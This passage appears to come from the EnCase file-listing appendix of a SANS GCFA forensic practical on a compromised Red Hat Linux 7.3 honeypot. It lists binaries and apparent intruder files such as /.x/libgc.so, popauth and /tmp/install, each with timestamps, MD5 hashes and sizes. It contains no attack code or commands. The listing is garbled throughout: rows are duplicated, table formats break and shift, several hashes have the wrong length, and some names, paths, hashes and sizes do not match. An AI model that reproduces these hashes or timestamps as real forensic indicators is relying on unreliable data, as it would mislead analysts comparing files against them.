<td>fe4f44934ee081482eadf32028799799</td>
<td>82,944</td>
<td>82,911</td>
</tr>
<tr>
<td>151</td>
<td>bzip2recover</td>
<td>File</td>
<td>Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\usr\bin\bzip2recover</td>
<td>06/29/03 11:53:01PM</td>
<td>06/29/03 11:53:01PM</td>
<td>06/29/03 11:53:01PM</td>
<td>5d50b7a01bbf832876e7092dc91d70f4</td>
<td>16,384</td>
<td>15,624</td>
</tr>
<tr>
<td>152</td>
<td>gencat</td>
<td>File</td>
<td>Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\usr\bin\gencat</td>
<td>06/29/03 11:53:01PM</td>
<td>06/29/03 11:53:01PM</td>
<td>06/29/03 11:53:01PM</td>
<td>84492adb4dddeccff3e3c8a30c99725b</td>
<td>20,480</td>
<td>18,040</td>
</tr>
<tr>
<td>153</td>
<td>gencat</td>
<td>File</td>
<td>Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\usr\bin\gencat</td>
<td>06/29/03 11:53:01PM</td>
<td>06/29/03 11:53:01PM</td>
<td>06/29/03 11:53:01PM</td>
<td>84492adb4dddeccff3e3c8a30c99725b</td>
<td>20,480</td>
<td>18,040</td>
</tr>
</tbody>
</table>
## EnCase Computer Analysis Report

<table>
<thead>
<tr>
<th>Name</th>
<th>Description</th>
<th>Full Path</th>
<th>Entry Modified</th>
<th>Last Accessed</th>
<th>Last Written</th>
<th>Hash Value</th>
<th>Physical Size</th>
<th>Logical Size</th>
</tr>
</thead>
<tbody>
<tr>
<td>getent</td>
<td>File</td>
<td>Sans GCFA Cert Assignment:Linux 7.3 Honey pot system:/usr/bin/getent</td>
<td>06/29/03 11:53:01PM</td>
<td>06/29/03 11:53:01PM</td>
<td>06/29/03 11:53:01PM</td>
<td>f1a14ddaf6053137dbda6798ee90f5a9</td>
<td>20,480</td>
<td>19,240</td>
</tr>
<tr>
<td>iconv</td>
<td>File</td>
<td>Sans GCFA Cert Assignment:Linux 7.3 Honey pot system:/usr/bin/iconv</td>
<td>06/29/03 11:53:01PM</td>
<td>06/29/03 11:53:01PM</td>
<td>06/29/03 11:53:01PM</td>
<td>cf6a21a7bab79204868fa7265a7870e6</td>
<td>53,248</td>
<td>51,004</td>
</tr>
<tr>
<td>lddlibc4</td>
<td>File</td>
<td>Sans GCFA Cert Assignment:Linux 7.3 Honey pot system:/usr/bin/lddlibc4</td>
<td>06/29/03 11:53:01PM</td>
<td>06/29/03 11:53:01PM</td>
<td>06/29/03 11:53:01PM</td>
<td>2e4e896f0ea9192ef5d94673d79dd403</td>
<td>8,192</td>
<td>7,800</td>
</tr>
<tr>
<td>localedef</td>
<td>File</td>
<td>Sans GCFA Cert Assignment:Linux 7.3 Honey pot system:/usr/bin/localedef</td>
<td>06/29/03 11:53:01PM</td>
<td>06/29/03 11:53:01PM</td>
<td>06/29/03 11:53:01PM</td>
<td>bb5be07bef4f5b4d281cf00e5a4fdbc3</td>
<td>299,008</td>
<td>288,000</td>
</tr>
<tr>
<td>Entry</td>
<td>Name</td>
<td>Description</td>
<td>Full Path</td>
<td>Entry Modified</td>
<td>Last Accessed</td>
<td>Last Written</td>
<td>Hash Value</td>
<td>Physical Size</td>
</tr>
<tr>
<td>-------</td>
<td>---------</td>
<td>-------------</td>
<td>-----------------------------------------------</td>
<td>----------------</td>
<td>---------------</td>
<td>---------------</td>
<td>-----------------</td>
<td>----------------</td>
</tr>
<tr>
<td>159)</td>
<td>localedef</td>
<td>File</td>
<td>Sans GCFA Cert Assignment:Linux 7.3 Honey pot system:/usr/bin/localedef</td>
<td>06/29/03 11:53:01PM</td>
<td>06/29/03 11:53:01PM</td>
<td>06/29/03 11:53:01PM</td>
<td>bb5be07bef4f5b4d281cf00e5a4fdcb3</td>
<td>299,008</td>
</tr>
<tr>
<td>160)</td>
<td>sprof</td>
<td>File</td>
<td>Sans GCFA Cert Assignment:Linux 7.3 Honey pot system:/usr/bin/sprof</td>
<td>06/29/03 11:53:01PM</td>
<td>06/29/03 11:53:01PM</td>
<td>06/29/03 11:53:01PM</td>
<td>4206b74dd02af036ee754efe5689bb3b</td>
<td>24,576</td>
</tr>
<tr>
<td>161)</td>
<td>db1_dump185</td>
<td>File</td>
<td>Sans GCFA Cert Assignment:Linux 7.3 Honey pot system:/usr/bin/db1_dump185</td>
<td>06/29/03 11:53:01PM</td>
<td>06/29/03 11:53:01PM</td>
<td>06/29/03 11:53:01PM</td>
<td>174712fef4fb412ad992e992e3a35182</td>
<td>12,288</td>
</tr>
<tr>
<td>162)</td>
<td>db1_dump185</td>
<td>File</td>
<td>Sans GCFA Cert Assignment:Linux 7.3 Honey pot system:/usr/bin/db1_dump185</td>
<td>06/29/03 11:53:01PM</td>
<td>06/29/03 11:53:01PM</td>
<td>06/29/03 11:53:01PM</td>
<td>174712fef4fb412ad992e992e3a35182</td>
<td>12,288</td>
</tr>
<tr>
<td>163)</td>
<td>lsattr</td>
<td>File</td>
<td>Sans GCFA Cert Assignment:Linux 7.3 Honey pot system:/usr/bin/lsattr</td>
<td>06/29/03 11:53:01PM</td>
<td>06/29/03 11:53:01PM</td>
<td>06/29/03 11:53:01PM</td>
<td>56853d1f05a0a1562c83811c02644930</td>
<td>12,288</td>
</tr>
<tr>
<td>164)</td>
<td>lsattr</td>
<td>File</td>
<td>Sans GCFA Cert Assignment:Linux 7.3 Honey pot system:/usr/bin/lsattr</td>
<td>06/29/03 11:53:01PM</td>
<td>06/29/03 11:53:01PM</td>
<td>06/29/03 11:53:01PM</td>
<td>56853d1f05a0a1562c83811c02644930</td>
<td>12,288</td>
</tr>
</tbody>
</table>
EnCase Computer Analysis Report

Full Path: Sans GCFA Cert Assignment/Linux 7.3 Honey pot system/usr/bin/lsattr
Entry Modified: 06/29/03 11:53:01PM
Last Accessed: 06/29/03 11:53:01PM
Last Written: 06/29/03 11:53:01PM
Hash Value: 56853d1f05a0a1562c83811c02644930
Physical Size: 12,288
Logical Size: 9,684

165) Name: eject
Description: File
Full Path: Sans GCFA Cert Assignment/Linux 7.3 Honey pot system/usr/bin/eject
Entry Modified: 06/29/03 11:53:01PM
Last Accessed: 06/29/03 11:53:01PM
Last Written: 06/29/03 11:53:01PM
Hash Value: 85042620b5dd45a67c0280c9a3751793
Physical Size: 28,672
Logical Size: 25,812

166) Name: file
Description: File
Full Path: Sans GCFA Cert Assignment/Linux 7.3 Honey pot system/usr/bin/file
Entry Modified: 06/29/03 11:53:01PM
Last Accessed: 06/29/03 11:53:01PM
Last Written: 06/29/03 11:53:01PM
Hash Value: 63a4be81d1843be37f098b0986ff836a
Physical Size: 49,152
Logical Size: 48,674

167) Name: ksymoops
Description: File
Full Path: Sans GCFA Cert Assignment/Linux 7.3 Honey pot system/usr/bin/ksymoops
Entry Modified: 06/29/03 11:53:01PM
Last Accessed: 06/29/03 11:53:01PM
Last Written: 06/29/03 11:53:01PM
Hash Value: 63a4be81d1843be37f098b0986ff836a
Physical Size: 49,152
Logical Size: 48,674

168) Name: file
Description: File
Full Path: Sans GCFA Cert Assignment/Linux 7.3 Honey pot system/usr/bin/file
Entry Modified: 06/29/03 11:53:01PM
Last Accessed: 06/29/03 11:53:01PM
Last Written: 06/29/03 11:53:01PM
Hash Value: 63a4be81d1843be37f098b0986ff836a
Physical Size: 49,152
Logical Size: 48,674

169) Name: ksymoops
Description: File
Full Path: Sans GCFA Cert Assignment/Linux 7.3 Honey pot system/usr/bin/ksymoops
Entry Modified: 06/29/03 11:53:01PM
Last Accessed: 06/29/03 11:53:01PM
Last Written: 06/29/03 11:53:01PM
Hash Value: 0d9ddca9a28dcc0313ac4012f20c6c31
Physical Size: 450,560
Logical Size: 448,456

170) Name: ksymoops
Description: File
Full Path: Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\usr\bin\ksymoops
Entry Modified: 06/29/03 11:53:01PM
Last Accessed: 06/29/03 11:53:01PM
Last Written: 06/29/03 11:53:01PM
Hash Value: 0d9ddca9a28dcc0313ac4012f20c6c31
Physical Size: 450,560
Logical Size: 448,456

171) Name: a2p
Description: File
Full Path: Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\usr\bin\a2p
Entry Modified: 06/29/03 11:53:02PM
Last Accessed: 06/29/03 11:53:02PM
Last Written: 06/29/03 11:53:02PM
Hash Value: 5da1e3d5a9112696f1f17b6c2256240e
Physical Size: 110,592
Logical Size: 106,681

172) Name: basename
Description: File
Full Path: Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\bin\basename
Entry Modified: 06/29/03 03:22:11PM
Last Accessed: 06/30/03 04:50:02PM
Last Written: 04/08/02 10:02:12AM
Hash Value: f3f3e1eeca45e97997a65be3b05346f9
Physical Size: 19,456
Logical Size: 18,879

173) Name: arch
Description: File
Full Path: Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\bin\arch
Entry Modified: 06/29/03 03:22:11PM
Last Accessed: 06/30/03 04:50:02PM
Last Written: 04/01/02 05:26:24PM
Hash Value: c35e95208fff892a4681492ff554cef4
Physical Size: 12,288
Logical Size: 11,463

174) Name: ash.static
Description: File
Full Path: Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\bin\ash.static
Entry Modified: 06/29/03 03:22:11PM
Last Accessed: 06/30/03 04:50:01PM
Last Written: 06/24/01 08:08:19PM
Hash Value: a37e77f1a768a2dcbfe97f4f37a46aa
Physical Size: 481,280
Logical Size: 481,251
### EnCase Computer Analysis Report

#### Sans GCFA Cert Assignment

**175) Name**: aumix-minimal  
**Description**: File  
**Full Path**: Sans GCFA Cert Assignment/Linux 7.3 Honey pot system/bin/aumix-minimal  
**Entry Modified**: 06/29/03 03:22:11PM  
**Last Accessed**: 06/30/03 04:50:01PM  
**Last Written**: 02/26/02 04:20:56AM  
**Hash Value**: 77b6900f314a7e6c8e16c21291102c1a  
**Physical Size**: 19,456  
**Logical Size**: 19,071

**176) Name**: kill  
**Description**: File  
**Full Path**: Sans GCFA Cert Assignment/Linux 7.3 Honey pot system/bin/kill  
**Entry Modified**: 06/29/03 03:22:11PM  
**Last Accessed**: 06/30/03 04:50:02PM  
**Last Written**: 04/01/02 05:26:23PM  
**Hash Value**: 4e1659b52917e4ba4225086ad43b3159  
**Physical Size**: 17,408  
**Logical Size**: 16,523

**177) Name**: mv  
**Description**: File  
**Full Path**: Sans GCFA Cert Assignment/Linux 7.3 Honey pot system/bin/mv  
**Entry Modified**: 06/29/03 03:22:10PM  
**Last Accessed**: 06/30/03 04:50:00PM  
**Last Written**: 03/24/02 07:23:18PM  
**Hash Value**: d45155beffebbdc7ac6d26a7add84d3a  
**Physical Size**: 53,248  
**Logical Size**: 52,255

**178) Name**: Hard Link Data 1  
**Description**: File  
**Full Path**: Sans GCFA Cert Assignment/Linux 7.3 Honey pot system/Hard Links/Hard Link Data 1  
**Entry Modified**: 06/29/03 03:22:11PM  
**Last Accessed**: 06/30/03 04:50:01PM  
**Last Written**: 03/13/02 05:55:33PM  
**Hash Value**: 6a91a25fc509e033def24687e78ce903  
**Physical Size**: 72,704  
**Logical Size**: 72,314

**179) Name**: Hard Link Data 1  
**Description**: File  
**Full Path**: Sans GCFA Cert Assignment/Linux 7.3 Honey pot system/Hard Links/Hard Link Data 1  
**Entry Modified**: 06/29/03 03:22:11PM  
**Last Accessed**: 06/30/03 04:50:01PM  
**Last Written**: 03/13/02 05:55:33PM  
**Hash Value**: 6a91a25fc509e033def24687e78ce903  
**Physical Size**: 72,704  
**Logical Size**: 72,314

**180) Name**: sfxload  
**Description**: File  
**Full Path**: Sans GCFA Cert Assignment/Linux 7.3 Honey pot system/bin/sfxload  
**Entry Modified**: 06/29/03 03:22:11PM
EnCase Computer Analysis Report

Last Accessed 06/30/03 04:50:02PM
Last Written 06/25/01 08:57:46AM
Hash Value bdd6746f64b16441fb7cea2291a9e89
Physical Size 56,320
Logical Size 55,539

181) Name Hard Link Data 1
Description File
Full Path Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\Hard Links\Hard Link Data 1
Entry Modified 06/29/03 03:22:11PM
Last Accessed 06/30/03 04:50:01PM
Last Written 03/13/02 05:55:33PM
Hash Value 6a91a25f509e033def24687e78ce903
Physical Size 72,704
Logical Size 72,314

182) Name hdx1
Description File
Full Path Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\dev\hdx1
Entry Modified 06/29/03 03:22:11PM
Last Accessed 06/29/03 03:22:11PM
Last Written 06/29/03 03:22:11PM
Hash Value 20e5862effe2cb1559ebbe0c60c4176c
Physical Size 1,744,896
Logical Size 1,744,171

183) Name rpm
Description File
Full Path Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\bin\rpm
Entry Modified 06/29/03 03:22:11PM
Last Accessed 06/30/03 04:50:02PM
Last Written 04/18/02 03:35:59PM
Hash Value 6a91a25f509e033def24687e78ce903
Physical Size 1,744,896
Logical Size 1,744,171

184) Name Hard Link Data 1
Description File
Full Path Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\Hard Links\Hard Link Data 1
Entry Modified 06/29/03 03:22:11PM
Last Accessed 06/30/03 04:50:01PM
Last Written 03/13/02 05:55:33PM
Hash Value 6a91a25f509e033def24687e78ce903
Physical Size 72,704
Logical Size 72,314

185) Name sort
Description File
Full Path Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\bin\sort
Entry Modified 06/29/03 03:22:11PM
Last Accessed 06/30/03 04:50:01PM
Last Written 03/22/02 05:02:03PM
Hash Value 2785d86cfd94e07f132035bb2d20099
Physical Size 64,512
<table>
<thead>
<tr>
<th>Entry</th>
<th>Name</th>
<th>Description</th>
<th>Full Path</th>
<th>Entry Modified</th>
<th>Last Accessed</th>
<th>Last Written</th>
<th>Hash Value</th>
<th>Physical Size</th>
<th>Logical Size</th>
</tr>
</thead>
<tbody>
<tr>
<td>186)</td>
<td>stty</td>
<td>File</td>
<td>Sans GCFA Cert Assignment\Linux 7.3 Honey pot system/bin/stty</td>
<td>06/29/03 03:22:11PM</td>
<td>06/30/03 04:50:02PM</td>
<td>04/08/02 10:02:12AM</td>
<td>f25eed928a929184a6bcc6c12b4adf75</td>
<td>37,888</td>
<td>37,215</td>
</tr>
<tr>
<td>187)</td>
<td>tar</td>
<td>File</td>
<td>Sans GCFA Cert Assignment\Linux 7.3 Honey pot system/bin/tar</td>
<td>06/29/03 03:22:11PM</td>
<td>06/30/03 04:50:01PM</td>
<td>04/09/02 11:39:13AM</td>
<td>36b826c3993647491db95e316ae81b2</td>
<td>164,864</td>
<td>163,999</td>
</tr>
<tr>
<td>188)</td>
<td>sync</td>
<td>File</td>
<td>Sans GCFA Cert Assignment\Linux 7.3 Honey pot system/bin/sync</td>
<td>06/29/03 03:22:11PM</td>
<td>06/30/03 04:50:00PM</td>
<td>03/24/02 07:23:18PM</td>
<td>641c8bf6468f700017a2d2921fa60d4c</td>
<td>15,360</td>
<td>14,367</td>
</tr>
<tr>
<td>189)</td>
<td>tcsh</td>
<td>File</td>
<td>Sans GCFA Cert Assignment\Linux 7.3 Honey pot system/bin/tcsh</td>
<td>06/29/03 03:22:11PM</td>
<td>06/30/03 04:50:01PM</td>
<td>06/24/01 09:45:26PM</td>
<td>d4a395c4cb342bd6ba6ae59453ee4485</td>
<td>297,984</td>
<td>297,363</td>
</tr>
<tr>
<td>190)</td>
<td>ipcalc</td>
<td>File</td>
<td>Sans GCFA Cert Assignment\Linux 7.3 Honey pot system/bin/ipcalc</td>
<td>06/29/03 03:22:11PM</td>
<td>06/30/03 04:50:02PM</td>
<td>04/19/02 10:35:23AM</td>
<td>63b258da1ed7b7dc3cacf4c32d8ff40a</td>
<td>38,912</td>
<td>38,390</td>
</tr>
<tr>
<td>191)</td>
<td>sense</td>
<td>File</td>
<td>Sans GCFA Cert Assignment\Linux 7.3 Honey pot system/bin/sense</td>
<td>06/29/03 03:22:11PM</td>
<td>06/30/03 04:50:02PM</td>
<td>04/19/02 10:35:23AM</td>
<td>63b258da1ed7b7dc3cacf4c32d8ff40a</td>
<td>38,912</td>
<td>38,390</td>
</tr>
</tbody>
</table>
192) Name: sleep
Description: File
Full Path: Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\tmp\sense
Entry Modified: 06/29/03 03:22:08PM
Last Accessed: 06/29/03 03:25:20PM
Last Written: 02/07/02 11:37:18AM
Hash Value: 464dc23cac477c43418eb8ef087065
Physical Size: 4,096
Logical Size: 4,060

193) Name: touch
Description: File
Full Path: Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\bin\touch
Entry Modified: 06/29/03 03:22:11PM
Last Accessed: 06/30/03 04:50:02PM
Last Written: 04/08/02 10:02:12AM
Hash Value: bbf8b62445518e7be3fe1db34abd1dea
Physical Size: 20,480
Logical Size: 19,999

194) Name: sed
Description: File
Full Path: Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\bin\sed
Entry Modified: 06/29/03 03:22:11PM
Last Accessed: 06/30/03 04:50:00PM
Last Written: 04/05/02 03:26:20AM
Hash Value: 541c2abbe42d278119dd9924854202ec
Physical Size: 33,792
Logical Size: 32,799

195) Name: hdx1
Description: File
Full Path: Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\dev\hdx1
Entry Modified: 06/29/03 03:22:11PM
Last Accessed: 06/29/03 03:22:11PM
Last Written: 06/29/03 03:22:11PM
Hash Value: Physical Size: 728
Logical Size: 0

196) Name: libgc.so
Description: File
Full Path: Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\.x\libgc.so
Entry Modified: 06/29/03 03:22:08PM
Last Accessed: 06/29/03 03:22:10PM
Last Written: 06/29/03 03:22:08PM
### EnCase Computer Analysis Report

#### Sans GCFA Cert Assignment

<table>
<thead>
<tr>
<th>Name</th>
<th>Description</th>
<th>Full Path</th>
<th>Entry Modified</th>
<th>Last Accessed</th>
<th>Last Written</th>
<th>Hash Value</th>
</tr>
</thead>
<tbody>
<tr>
<td>mount</td>
<td>File</td>
<td>Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\bin\mount</td>
<td>06/29/03 03:22:11PM</td>
<td>06/30/03 04:55:34PM</td>
<td>04/01/02 05:26:24PM</td>
<td>51e4219c74324b6225ec4a9feb64d0e8 Physical Size 69,632 Logical Size 68,863</td>
</tr>
<tr>
<td>pgawk</td>
<td>File</td>
<td>Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\bin\pgawk</td>
<td>06/29/03 03:22:11PM</td>
<td>03/18/02 05:25:27AM</td>
<td>03/18/02 05:25:27AM</td>
<td>dc46f094dc32c55945a8a91dfc7da4c Physical Size 259,072 Logical Size 258,236</td>
</tr>
<tr>
<td>killall</td>
<td>File</td>
<td>Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\dev\killall</td>
<td>06/29/03 03:22:11PM</td>
<td>06/29/03 03:22:07PM</td>
<td>02/28/02 03:09:19PM</td>
<td>9b8536a36dc974af3264e68dd6c014f0 Physical Size 13,312 Logical Size 12,320</td>
</tr>
<tr>
<td>login</td>
<td>File</td>
<td>Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\bin\login</td>
<td>06/29/03 03:22:11PM</td>
<td>06/30/03 04:50:02PM</td>
<td>04/01/02 05:26:23PM</td>
<td>f7bbe014bea2e758c25ff9d727ef5e82 Physical Size 28,672 Logical Size 27,839</td>
</tr>
<tr>
<td>login</td>
<td>File</td>
<td>Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\bin\login</td>
<td>06/29/03 03:22:11PM</td>
<td>06/30/03 04:50:02PM</td>
<td>04/01/02 05:26:23PM</td>
<td>f7bbe014bea2e758c25ff9d727ef5e82 Physical Size 28,672 Logical Size 27,839</td>
</tr>
</tbody>
</table>

© SANS Institute 2004, As part of GIAC practical repository. Author retains full rights.
<table>
<thead>
<tr>
<th>Name</th>
<th>Description</th>
<th>File</th>
<th>Full Path</th>
<th>Entry Modified</th>
<th>Last Accessed</th>
<th>Last Written</th>
<th>Hash Value</th>
<th>Physical Size</th>
<th>Logical Size</th>
</tr>
</thead>
<tbody>
<tr>
<td>nice</td>
<td></td>
<td>File</td>
<td>Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\bin\nice</td>
<td>06/29/03 03:22:11PM</td>
<td>06/30/03 04:50:02PM</td>
<td>04/08/02 10:02:12AM</td>
<td>35cb1f72e74a590e9feab89765bfeefc</td>
<td>21,504</td>
<td>20,767</td>
</tr>
<tr>
<td>popauth</td>
<td></td>
<td>File</td>
<td>Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\x\popauth</td>
<td>06/29/03 03:22:08PM</td>
<td>06/29/03 03:22:10PM</td>
<td>06/29/03 03:22:08PM</td>
<td>6c613bf6376fe55623e95ed31f5aba6</td>
<td>36,864</td>
<td>36,415</td>
</tr>
<tr>
<td>pwd</td>
<td></td>
<td>File</td>
<td>Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\bin\pwd</td>
<td>06/29/03 03:22:11PM</td>
<td>06/30/03 04:50:02PM</td>
<td>04/08/02 10:02:12AM</td>
<td>772fa70e799f2867c1092009ce75cf8</td>
<td>19,456</td>
<td>18,815</td>
</tr>
<tr>
<td>rc.sysinit</td>
<td></td>
<td>File</td>
<td>Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\etc\rc.d\rc.sysinit</td>
<td>06/29/03 03:22:09PM</td>
<td>06/30/03 04:45:40PM</td>
<td>06/29/03 03:22:09PM</td>
<td>ee965268d25b94ed0ffeb16d6be5beb0890</td>
<td>22,528</td>
<td>22,379</td>
</tr>
<tr>
<td>rmdir</td>
<td></td>
<td>File</td>
<td>Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\bin\rmdir</td>
<td>06/29/03 03:22:10PM</td>
<td>06/30/03 04:50:00PM</td>
<td>03/24/02 07:23:18PM</td>
<td>9ec6c46ce54bdced26d5dfeff0db0b78</td>
<td>20,480</td>
<td>19,647</td>
</tr>
<tr>
<td>true</td>
<td></td>
<td>File</td>
<td>Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\bin\true</td>
<td>06/29/03 03:22:11PM</td>
<td></td>
<td></td>
<td></td>
<td>20,480</td>
<td>19,647</td>
</tr>
<tr>
<td>Entry</td>
<td>Name</td>
<td>Description</td>
<td>Full Path</td>
<td>Entry Modified</td>
<td>Last Accessed</td>
<td>Last Written</td>
<td>Hash Value</td>
<td>Physical Size</td>
<td>Logical Size</td>
</tr>
<tr>
<td>-------</td>
<td>---------</td>
<td>-------------</td>
<td>---------------------------------------------------------------------------</td>
<td>----------------</td>
<td>---------------</td>
<td>--------------</td>
<td>----------------------------------------------------------------------------</td>
<td>----------------</td>
<td>--------------</td>
</tr>
<tr>
<td>208)</td>
<td>umount</td>
<td>File</td>
<td>Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\bin\umount</td>
<td>06/29/03 03:22:11PM</td>
<td>06/30/03 04:50:01PM</td>
<td>04/01/02 05:26:24PM</td>
<td>9a6945a0c9a35f6325526b40d7b13646</td>
<td>15,360</td>
<td>14,367</td>
</tr>
<tr>
<td>209)</td>
<td>uname</td>
<td>File</td>
<td>Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\bin\uname</td>
<td>06/29/03 03:22:11PM</td>
<td>06/30/03 04:50:02PM</td>
<td>04/08/02 05:26:24PM</td>
<td>8a0b9fd117713f0141de92b8a5e7ed12</td>
<td>35,840</td>
<td>35,327</td>
</tr>
<tr>
<td>210)</td>
<td>usleep</td>
<td>File</td>
<td>Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\bin\usleep</td>
<td>06/29/03 03:22:11PM</td>
<td>06/30/03 04:50:02PM</td>
<td>04/19/02 10:02:13AM</td>
<td>79bbdf9a074c1d8bada03456410ebe5</td>
<td>19,456</td>
<td>19,071</td>
</tr>
<tr>
<td>211)</td>
<td>vi</td>
<td>File</td>
<td>Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\bin\vi</td>
<td>06/29/03 03:22:11PM</td>
<td>06/30/03 04:50:02PM</td>
<td>03/27/02 05:20:14PM</td>
<td>99d03032ca9d35d0d9df34127b2d5b</td>
<td>391,168</td>
<td>390,783</td>
</tr>
<tr>
<td>212)</td>
<td>install</td>
<td>File</td>
<td>Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\tmp\install</td>
<td>06/29/03 03:22:08PM</td>
<td>06/29/03 03:25:21PM</td>
<td>03/24/03 09:37:31PM</td>
<td>5ac9ac0a738a778c85f553738f3869d</td>
<td>12,288</td>
<td></td>
</tr>
</tbody>
</table>
### Logical Size 12,139

<table>
<thead>
<tr>
<th>Name</th>
<th>Description</th>
<th>Full Path</th>
<th>Entry Modified</th>
<th>Last Accessed</th>
<th>Last Written</th>
<th>Hash Value</th>
<th>Physical Size</th>
<th>Logical Size</th>
</tr>
</thead>
<tbody>
<tr>
<td>grep</td>
<td>File</td>
<td>/Sans GCFA Cert Assignment/Linux 7.3 Honey pot system/bin/grep</td>
<td>06/29/03 03:22:11PM</td>
<td>06/30/03 04:50:01PM</td>
<td>03/26/02 11:24:50AM</td>
<td>03800b9ba1467bb667ea3d81423614f9</td>
<td>122,880</td>
<td>122,835</td>
</tr>
<tr>
<td>gettext</td>
<td>File</td>
<td>/Sans GCFA Cert Assignment/Linux 7.3 Honey pot system/bin/gettext</td>
<td>06/29/03 03:22:11PM</td>
<td>06/30/03 04:50:02PM</td>
<td>04/05/02 12:14:26AM</td>
<td>8d1cfcee9be26d6fca3f536502af8744</td>
<td>44,032</td>
<td>43,452</td>
</tr>
<tr>
<td>false</td>
<td>File</td>
<td>/Sans GCFA Cert Assignment/Linux 7.3 Honey pot system/bin/false</td>
<td>06/29/03 03:22:11PM</td>
<td>06/30/03 04:50:02PM</td>
<td>04/08/02 10:02:12AM</td>
<td>82e9e2b2ecbc475d576a799fa51ab3df</td>
<td>15,360</td>
<td>14,367</td>
</tr>
<tr>
<td>echo</td>
<td>File</td>
<td>/Sans GCFA Cert Assignment/Linux 7.3 Honey pot system/bin/echo</td>
<td>06/29/03 03:22:11PM</td>
<td>06/30/03 04:50:02PM</td>
<td>04/08/02 10:02:12AM</td>
<td>59a844016de45855afa945cab1fc044d</td>
<td>20,480</td>
<td>19,839</td>
</tr>
<tr>
<td>doexec</td>
<td>File</td>
<td>/Sans GCFA Cert Assignment/Linux 7.3 Honey pot system/bin/doexec</td>
<td>06/29/03 03:22:11PM</td>
<td>06/30/03 04:50:02PM</td>
<td>04/19/02 10:35:23AM</td>
<td>92999ee2742dccc42e2783c5dc9825922</td>
<td>14,336</td>
<td>13,474</td>
</tr>
<tr>
<td>dmesg</td>
<td>File</td>
<td>/Sans GCFA Cert Assignment/Linux 7.3 Honey pot system/bin/dmesg</td>
<td>06/29/03 03:22:11PM</td>
<td>06/30/03 04:50:02PM</td>
<td>04/19/02 10:35:23AM</td>
<td>92999ee2742dccc42e2783c5dc9825922</td>
<td>14,336</td>
<td>13,474</td>
</tr>
</tbody>
</table>

© SANS Institute 2004, As part of GIAC practical repository. Author retains full rights.
## EnCase Computer Analysis Report

**Sans GCFA Cert Assignment\EnCase Computer Analysis Report**

<table>
<thead>
<tr>
<th>File</th>
<th>Description</th>
<th>Full Path</th>
<th>Entry Modified</th>
<th>Last Accessed</th>
<th>Last Written</th>
<th>Hash Value</th>
<th>Physical Size</th>
<th>Logical Size</th>
</tr>
</thead>
<tbody>
<tr>
<td>dmesg</td>
<td>File</td>
<td>Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\bin\dmesg</td>
<td>06/29/03 03:22:11PM</td>
<td>06/30/03 04:50:02PM</td>
<td>04/01/02 05:26:24PM</td>
<td>cf01c9d9574357c27510afff21f60a7</td>
<td>13,312</td>
<td>12,843</td>
</tr>
<tr>
<td>date</td>
<td>File</td>
<td>Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\bin\date</td>
<td>06/29/03 03:22:11PM</td>
<td>06/30/03 04:50:00PM</td>
<td>04/08/02 10:02:12AM</td>
<td>35c3004dda5210896d46d2925bc17dea</td>
<td>31,744</td>
<td>30,815</td>
</tr>
<tr>
<td>cut</td>
<td>File</td>
<td>Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\bin\cut</td>
<td>06/29/03 03:22:11PM</td>
<td>06/30/03 04:50:01PM</td>
<td>03/22/02 05:02:03PM</td>
<td>6219a330ee1e688ab8068885eb54a65f</td>
<td>29,696</td>
<td>28,810</td>
</tr>
<tr>
<td>consolechars</td>
<td>File</td>
<td>Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\bin\consolechars</td>
<td>06/29/03 03:22:11PM</td>
<td>06/30/03 04:50:01PM</td>
<td>04/15/02 08:05:51AM</td>
<td>b5acb19c71a903833d26da5ec5f1ac13</td>
<td>52,224</td>
<td>51,807</td>
</tr>
<tr>
<td>clean</td>
<td>File</td>
<td>Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\tmp.s\clean</td>
<td>06/29/03 03:22:08PM</td>
<td>06/29/03 03:25:20PM</td>
<td>02/06/02 04:26:29AM</td>
<td>f9e2970e3a7682440316b6e1a2687cbe</td>
<td>2,048</td>
<td>1,250</td>
</tr>
<tr>
<td>chmod</td>
<td>File</td>
<td>Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\bin\chmod</td>
<td>06/29/03 03:22:11PM</td>
<td>06/30/03 04:02:10AM</td>
<td>06/29/03 03:22:11PM</td>
<td></td>
<td></td>
<td></td>
</tr>
</tbody>
</table>
### Hash Value 8c64e587143854ad0f0772287cbaf086
### Physical Size 30,720
### Logical Size 30,102

<table>
<thead>
<tr>
<th>224) Name</th>
<th>cat</th>
</tr>
</thead>
<tbody>
<tr>
<td>Description</td>
<td>File</td>
</tr>
<tr>
<td>Full Path</td>
